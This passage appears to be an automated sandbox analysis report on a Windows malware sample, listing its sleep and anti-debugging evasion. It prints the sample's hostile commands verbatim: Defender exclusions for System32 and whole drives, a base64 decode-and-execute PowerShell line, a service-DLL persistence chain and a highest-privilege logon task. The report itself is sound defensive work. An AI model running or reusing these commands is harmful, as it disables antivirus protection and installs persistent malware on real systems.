Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4816	Thread sleep count: 1680 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4760	Thread sleep time: -6456360425798339s >= -30000s
Source: C:\Windows\System32\console_zero.exe TID: 3348	Thread sleep time: -46000s >= -30000s
Source: C:\Windows\System32\timeout.exe TID: 6396	Thread sleep count: 111 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6252	Thread sleep count: 8087 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3772	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6252	Thread sleep count: 963 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6692	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6608	Thread sleep count: 7750 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1716	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1264	Thread sleep count: 487 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3288	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\console_zero.exe TID: 6108	Thread sleep time: -46000s >= -30000s
Source: C:\Windows\System32\timeout.exe TID: 980	Thread sleep count: 130 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3996	Thread sleep count: 7768 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3592	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3008	Thread sleep count: 1725 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5000	Thread sleep count: 7910 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4744	Thread sleep count: 1550 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1448	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3528	Thread sleep count: 8123 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3664	Thread sleep count: 1391 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3612	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1520	Thread sleep count: 7423 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1520	Thread sleep count: 969 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3836	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6188	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2232	Thread sleep count: 7503 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1816	Thread sleep count: 1668 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5700	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5572	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3372	Thread sleep count: 6538 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4352	Thread sleep count: 3156 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1788	Thread sleep time: -6456360425798339s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6976	Thread sleep count: 7013 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6976	Thread sleep count: 2590 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5776	Thread sleep time: -8301034833169293s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3396	Thread sleep count: 8674 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3396	Thread sleep count: 854 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3568	Thread sleep time: -4611686018427385s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\svchost.exe

Code function: 55_2_64946F50 GetSystemTimeAdjustment followed by cmp: cmp ecx, 03h and CTI: jle 64946F63h

55_2_64946F50

Source: C:\Users\user\Desktop\dYUteuvmHn.exe	Code function: 0_2_00007FF712785E64 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00007FF712785E64
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF6CABFD2A8 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	5_2_00007FF6CABFD2A8
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7D3A450 GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,__std_fs_open_handle,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,CloseHandle,CloseHandle,	55_2_00007FF8A7D3A450
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7D3A30C FindClose,FindFirstFileExW,GetLastError,	55_2_00007FF8A7D3A30C

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 60000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\console_zero.exe	Thread delayed: delay time: 46000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\console_zero.exe	Thread delayed: delay time: 46000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: curlapp64.exe, 0000000B.00000003.2670488283.000002552EEB9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllK
Source: svchost.exe, 00000037.00000002.3295341739.000001C2A442B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: prnttemp.dll.5.dr	Binary or memory string: I;~HGFs
Source: curlapp64.exe, 00000005.00000003.2494142253.0000022DE26E1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllss
Source: curlapp64.exe, 00000008.00000003.2588031470.0000021656B4B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllqq

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Found API chain indicative of debugger detection

Anti Debugging

Source: C:\Windows\System32\svchost.exe

Debugger detection routine: QueryPerformanceCounter, DebugActiveProcess, DecisionNodes, ExitProcess or Sleep

Source: C:\Users\user\Desktop\dYUteuvmHn.exe

Code function: 0_2_00007FF7127743FC IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF7127743FC

Source: C:\Users\user\Desktop\curlapp64.exe

5_2_00007FF8A934FE30

Source: C:\Users\user\Desktop\dYUteuvmHn.exe

Code function: 0_2_00007FF712789F50 GetProcessHeap,

0_2_00007FF712789F50

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\dYUteuvmHn.exe	Code function: 0_2_00007FF7127743FC IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF7127743FC
Source: C:\Users\user\Desktop\dYUteuvmHn.exe	Code function: 0_2_00007FF712774050 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF712774050
Source: C:\Users\user\Desktop\dYUteuvmHn.exe	Code function: 0_2_00007FF7127745DC SetUnhandledExceptionFilter,	0_2_00007FF7127745DC
Source: C:\Users\user\Desktop\dYUteuvmHn.exe	Code function: 0_2_00007FF71277AD2C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF71277AD2C
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF6CABE4AFC SetUnhandledExceptionFilter,	5_2_00007FF6CABE4AFC
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF6CABE491C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00007FF6CABE491C
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF6CABF158C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00007FF6CABF158C
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF6CABE4570 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00007FF6CABE4570
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF8A9369E30 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00007FF8A9369E30
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF8A936A8B4 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00007FF8A936A8B4
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF8BA24E24C IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00007FF8BA24E24C
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF8BA24D768 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00007FF8BA24D768
Source: C:\Windows \System32\printui.exe	Code function: 35_2_00007FF7ECF41B5C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	35_2_00007FF7ECF41B5C
Source: C:\Windows \System32\printui.exe	Code function: 35_2_00007FF7ECF41880 SetUnhandledExceptionFilter,	35_2_00007FF7ECF41880
Source: C:\Windows \System32\printui.exe	Code function: 39_2_00007FF7ECF41B5C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	39_2_00007FF7ECF41B5C
Source: C:\Windows \System32\printui.exe	Code function: 39_2_00007FF7ECF41880 SetUnhandledExceptionFilter,	39_2_00007FF7ECF41880
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_64947650 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	55_2_64947650
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_6828C940 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,abort,	55_2_6828C940
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7D4A3F8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	55_2_00007FF8A7D4A3F8
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7D3C9B0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	55_2_00007FF8A7D3C9B0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B83BFA50 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	55_2_00007FF8B83BFA50
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B83BEE70 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	55_2_00007FF8B83BEE70
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B90D7178 SetUnhandledExceptionFilter,	55_2_00007FF8B90D7178
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B90D6630 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	55_2_00007FF8B90D6630
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B90D6F94 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	55_2_00007FF8B90D6F94

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell decode and execute

Source: Yara match

File source: amsi64_7112.amsi.csv, type: OTHER

Adds a directory exclusion to Windows Defender

Source: C:\Windows \System32\printui.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath '%SystemDrive%\Windows \System32'; Add-MpPreference -ExclusionPath '%SystemDrive%\Windows\System32';"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'; Add-MpPreference -ExclusionPath 'C:\Windows\System32';"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'c:\windows\system32'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'c:\windows\system32'
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows \System32'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows \System32'
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'E:\'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'E:\'
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'F:\'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'F:\'
Source: C:\Windows \System32\printui.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath '%SystemDrive%\Windows \System32'; Add-MpPreference -ExclusionPath '%SystemDrive%\Windows\System32';"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'; Add-MpPreference -ExclusionPath 'C:\Windows\System32';"	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'c:\windows\system32'
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows \System32'
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'E:\'
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'F:\'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'c:\windows\system32'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows \System32'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'E:\'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'F:\'

Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\Desktop\curlapp64.exe "C:\Users\user\Desktop\curlapp64.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 10 /nobreak	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 10 /nobreak	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 10 /nobreak
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows \System32\printui.exe "C:\Windows \System32\printui.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows \System32\printui.exe "C:\Windows \System32\printui.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 10 /nobreak	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "$dec = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAiJGVudjpTeXN0ZW1Ecml2ZVxXaW5kb3dzIFxTeXN0ZW0zMiI7DQpBZGQtTXBQcmVmZXJlbmNlIC1FeGNsdXNpb25QYXRoICIkZW52OlN5c3RlbURyaXZlXFdpbmRvd3NcU3lzdGVtMzIiOw==')); Invoke-Expression $dec;"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'; Add-MpPreference -ExclusionPath 'C:\Windows\System32';"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc create x610437 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add HKLM\SYSTEM\CurrentControlSet\services\x610437\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x610437.dat" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start x610437
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'c:\windows\system32'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\console_zero.exe "C:\Windows\System32\console_zero.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bav64.exe "C:\Windows\System32\bav64.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 14 /nobreak
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows \System32'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Remove-MpPreference -ExclusionPath 'C:\'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 16 /nobreak
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Remove-MpPreference -ExclusionPath 'C:\Users'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'E:\'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Remove-MpPreference -ExclusionPath 'C:\Users\'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Remove-MpPreference -ExclusionPath 'C:\ProgramData'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'F:\'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Remove-MpPreference -ExclusionPath 'C:\Program Files (x86)'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Remove-MpPreference -ExclusionPath 'C:\Program Files'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Remove-MpPreference -ExclusionPath 'C:\Windows\TEMP\'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Remove-MpPreference -ExclusionPath 'colorcpl.exe'"

Source: C:\Windows \System32\printui.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -command "$dec = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string('qwrklu1wuhjlzmvyzw5jzsatrxhjbhvzaw9uugf0acaijgvudjptexn0zw1ecml2zvxxaw5kb3dzifxtexn0zw0zmii7dqpbzgqttxbqcmvmzxjlbmnlic1fegnsdxnpb25qyxroicikzw52oln5c3rlburyaxzlxfdpbmrvd3ncu3lzdgvtmziiow==')); invoke-expression $dec;"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "$dec = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string('qwrklu1wuhjlzmvyzw5jzsatrxhjbhvzaw9uugf0acaijgvudjptexn0zw1ecml2zvxxaw5kb3dzifxtexn0zw0zmii7dqpbzgqttxbqcmvmzxjlbmnlic1fegnsdxnpb25qyxroicikzw52oln5c3rlburyaxzlxfdpbmrvd3ncu3lzdgvtmziiow==')); invoke-expression $dec;"
Source: C:\Windows \System32\printui.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c sc create x610437 binpath= "c:\windows\system32\svchost.exe -k dcomlaunch" type= own start= auto && reg add hklm\system\currentcontrolset\services\x610437\parameters /v servicedll /t reg_expand_sz /d "c:\windows\system32\x610437.dat" /f && sc start x610437
Source: C:\Windows \System32\printui.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -command "$dec = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string('qwrklu1wuhjlzmvyzw5jzsatrxhjbhvzaw9uugf0acaijgvudjptexn0zw1ecml2zvxxaw5kb3dzifxtexn0zw0zmii7dqpbzgqttxbqcmvmzxjlbmnlic1fegnsdxnpb25qyxroicikzw52oln5c3rlburyaxzlxfdpbmrvd3ncu3lzdgvtmziiow==')); invoke-expression $dec;"	Jump to behavior
Source: C:\Windows \System32\printui.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c sc create x610437 binpath= "c:\windows\system32\svchost.exe -k dcomlaunch" type= own start= auto && reg add hklm\system\currentcontrolset\services\x610437\parameters /v servicedll /t reg_expand_sz /d "c:\windows\system32\x610437.dat" /f && sc start x610437	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "$dec = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string('qwrklu1wuhjlzmvyzw5jzsatrxhjbhvzaw9uugf0acaijgvudjptexn0zw1ecml2zvxxaw5kb3dzifxtexn0zw0zmii7dqpbzgqttxbqcmvmzxjlbmnlic1fegnsdxnpb25qyxroicikzw52oln5c3rlburyaxzlxfdpbmrvd3ncu3lzdgvtmziiow==')); invoke-expression $dec;"	Jump to behavior

Source: C:\Users\user\Desktop\dYUteuvmHn.exe

Code function: 0_2_00007FF71278BC80 cpuid

0_2_00007FF71278BC80

Source: C:\Users\user\Desktop\dYUteuvmHn.exe	Code function: AreFileApisANSI,EnumSystemLocalesEx,GetDateFormatEx,GetLocaleInfoEx,GetTimeFormatEx,GetUserDefaultLocaleName,IsValidLocaleName,LCMapStringEx,LCIDToLocaleName,LocaleNameToLCID,	0_2_00007FF712781F6C
